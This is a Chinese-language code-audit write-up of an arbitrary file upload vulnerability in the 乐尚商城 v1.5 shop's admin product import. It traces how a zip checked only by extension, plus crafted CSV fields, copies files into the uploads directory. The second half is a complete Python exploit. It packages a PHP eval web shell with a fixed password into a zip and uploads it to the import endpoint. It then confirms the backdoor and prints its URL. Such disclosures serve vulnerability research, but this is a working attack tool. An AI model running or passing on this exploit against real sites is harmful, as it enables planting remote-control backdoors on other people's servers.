乐尚商城 v1.5 任意文件上传

Report 代码审计

0x01:漏洞分析

文件/admin/controls/product.class.php第二百零九行的函数import()实现了文件导入和上传的功能,在第二百一十五行:

<?php
    $path=$_SERVER['DOCUMENT_ROOT'].$GLOBALS['public']."uploads/";
    $filename=$_FILES["zip_file"]["name"];
    $zip_file=$this->upload_zip();
    $zip_path=$path.$zip_file;
    $zip = new ZipArchive;
    if ($zip->open($zip_path) === TRUE) {//中文文件名要使用ANSI编码的文件格式 
        $tmp=explode(".",$zip_path);
        $zip->extractTo($tmp[0]);//提取全部文件 
        //$zip->extractTo('/my/destination/dir/', array('pear_item.gif', 'testfromfile.php'));//提取部分文件 
        $zip->close(); 
?>

这里通过ZipArchive实现解压缩功能,跟进upload_zip()函数:

<?php
    function upload_zip(){
        $up = new FileUpload(); //可以通过参数指定上传位置,可通过set()方法
        $up->set('allowType', array('zip'));
        if($up->upload("zip_file")) { //pic 为上传表单的名称
            return $up->getFileName(); //返回上传后的文件名
        }else{
            //如果上传失败提示出错原因
            $this->error($up->getErrorMsg(), 5);
            }
        }
?>

该函数只检查压缩包后缀是否为zip,没有对其内容进行检查,所以我们可以在压缩包中随意添加文件。继续跟进到第二百九十行:

<?php
    SimFile::delete($path.$folder[0]);
    unlink($zip_path);
?>

程序对上传的压缩包和解压内容进行删除,但在前面的第二百五十八行:

<?php
    if(!$pid){
        $this->error("插入数据失败!", 1);
    }
?>

和第二百八十一行:

<?php
    if(!$sid){
        $this->error("插入参数失败!", 1);
    }
?>

如果在查询阶段有错误就会抛出问题,并且exit掉后续操作,所以一开始我的想法是在压缩包中添加shell和有问题的csv文件,在导入压缩包阶段程序会正常解压并释放我们的shell,又因为CSV抛出异常后续删除操作会被exit掉。但经过多次测试发现,只要不是压缩包和其中的文件名出问题,不管文件内容是什么都不会报错。

这时候往下看到第二百六十行,copy函数立功了:

<?php
    if($p['img']){
        copy($path.$folder[0].'/'.$p['img'],$path.$p['img']);
    }
    if($p['thumb']){
        copy($path.$folder[0].'/'.$p['thumb'],$path.$p['thumb']);
    }
?>

copy函数会将$path.$p['img']里的内容复制到$path.$folder[0].'/'.$p['img']中,那我们查询$path的值就会发现是\public\uploads ,那我们再查询$p的值,第二百三十三行:

<?php
    $datas=$product->get_csv($path.$folder[0].'/'.$name[0].".csv");
    $specs_datas=$product->get_csv($path.$folder[0].'/'.$name[0]."_specs.csv");
    unset($datas[0]);
    unset($specs_datas[0]);
    foreach($datas as $k=>$v){
        $p['name']=$v[0];
        $p['serial_no']=$v[1];
        $p['cate_id']=$cate_id;
        $p['brand_id']=$v[3];
        $p['origin_price']=$v[4];
        $p['current_price']=$v[5];
        $p['inventory']=$v[6];
        $p['brief']=addslashes(htmlspecialchars_decode($v[7]));
        $p['specifications']=addslashes(htmlspecialchars_decode($v[8]));
        $p['delivery_fee']=$v[9];
        $p['spec_main']=htmlspecialchars_decode($v[10]);
        $p['click']=$v[11];
        $p['is_recommend']=$v[12];
        $p['status']=$v[13];
        $p['add_time']=$v[14];
        $p['update_time']=$v[15];
        $p['sort']=$v[16];
        $p['img']=trim($v[17]);
        $p['thumb']=trim($v[18]);
        $pid=$product->insert($p);
?>

通过get_csv函数获取$data数组的值,再将值依次传递给$p,而第十八组也就是$v['17']会把图片名赋值给$p['img']。到这里思路就很明朗了,我们先在压缩包中添加shell文件,再添加csv文件,csv文件第十八个值取值为shell文件名,就能将压缩包内的shell复制到/public/upload。

     

0x02:漏洞验证

以下是针对乐尚商城V1.5的任意文件上传漏洞验证代码,该POC具有一定攻击性请谨慎使用,作者对其会产生的任何结果概不负责:

#!/usr/bin/dev python
# -*- coding:utf-8 -*-
# author: Lion Ei'Jonson
# date:2017/9/30

import sys
import requests
import zipfile
import os

def usage():
    print("[*]Useage: python %s http://www.lioneijonson.cn" % sys.argv[0])

def make_zip():
    payload = "<?php @eval($_POST['Li0nE1Jon5on']);?>"
    fp = open('leesun.csv','w+')
    for i in range(0,4):
        for i in range(0,17):
            fp.write('test,')
        fp.write('conf1g.php,\n')
    fp.close()
    fp = open('conf1g.php','w')
    fp.write(payload)
    fp.close()
    z = zipfile.ZipFile('leesun.zip','w')
    z.write("leesun.csv")
    z.write("conf1g.php")
    z.close()
    if zipfile.is_zipfile('leesun.zip'):
        return True
    else:
        print("[!]make zip file false")
        sys.exit()

def upload_file(url):
    header = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}
    files = {"cate":(None,"44"),"zip_file":('leesun.zip',open("leesun.zip",'rb'))}
    try:
        requests.post(url,headers=header,files=files)
    except:
        print("[!]Target is not available")
        sys.exit()

def check_file(site):
    target = site + "/public/uploads/conf1g.php"
    response = requests.get(target)
    if response.status_code == 200:
        return True
    else:
        print("[!]Target is not vulnerable")
        sys.exit();

def remove_zip():
    os.remove('conf1g.php')
    os.remove('leesun.csv')
    os.remove('leesun.zip')

if __name__ == '__main__':
    if len(sys.argv) != 2:
        usage()
        sys.exit()
    if(sys.argv[1][:4]) != "http":
        site = "http://" + sys.argv[1]
    else:
        site = sys.argv[1]
    url = site + "/admin.php/product/import"
    if make_zip():
        upload_file(url)
    if check_file(site):
        print("[*]Target is vulnerable")
        print("[*]shell:%s/public/uploads/conf1g.php" % site)
        print("[*]password:Li0nE1Jon5on")
    remove_zip()